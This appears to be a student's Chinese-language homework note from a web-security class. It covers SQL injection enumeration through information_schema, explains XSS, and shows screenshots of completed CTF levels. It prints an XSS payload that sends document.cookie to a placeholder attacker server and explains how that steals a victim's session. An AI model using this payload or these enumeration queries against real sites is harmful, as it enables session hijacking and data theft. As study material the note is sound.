# 2019/11/12 # Information_schema 是什麼 資料庫名稱 # 如果想知道 這台 mysql server 有啥資料庫,如何下sql指令 select table_schema from mysql server # 如果想知道ctf資料庫底下有什麼表格,如何下sql指令 select table_name from information_schema.tables where table_schema = ‘ctf’; # 如果想知道stu table 底下有什麼欄位,如何下sql指令 select column_name from information_schema.columns where table_name = ‘stu’; # 解釋 SQL III 是如何 dump 出整個資料庫 逐次將資料庫內的所有table和column列出,最後就會拿到整個資料庫 # XSS 攻擊是什麼! XSS攻擊通常指的是通過利用網頁開發時留下的漏洞,通過巧妙的方法注入惡意指令代碼到網頁,使用戶載入並執行攻擊者惡意製造的網頁程式。這些惡意網頁程式通常是JavaScript,但實際上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻擊成功後,攻擊者可能得到更高的權限(如執行一些操作)、私密網頁內容、對談和cookie等各種內容。 截圖完成https://xss-game.appspot.com/前三關 ![](https://i.imgur.com/0dRlARQ.png) ![](https://i.imgur.com/xbcEc7v.png) # 解釋為何<script>document.location.href="https://{駭客伺服器}/"+document.cookie</script> 可以拿到使用者權限 如果XSS攻擊成功,會跳轉到駭客伺服器,會拿到受害者的cookie,拿到登入資料。 # 截圖 CTF 完成 SQL I, II, XSS ![](https://i.imgur.com/nYZjpHo.png)
{"metaMigratedAt":"2023-06-15T02:31:34.173Z","metaMigratedFrom":"Content","title":"2019/11/12","breaks":true,"contributors":"[{\"id\":\"93ea6294-abba-4bba-a72f-883752362c9e\",\"add\":917,\"del\":0}]"}
Expand menu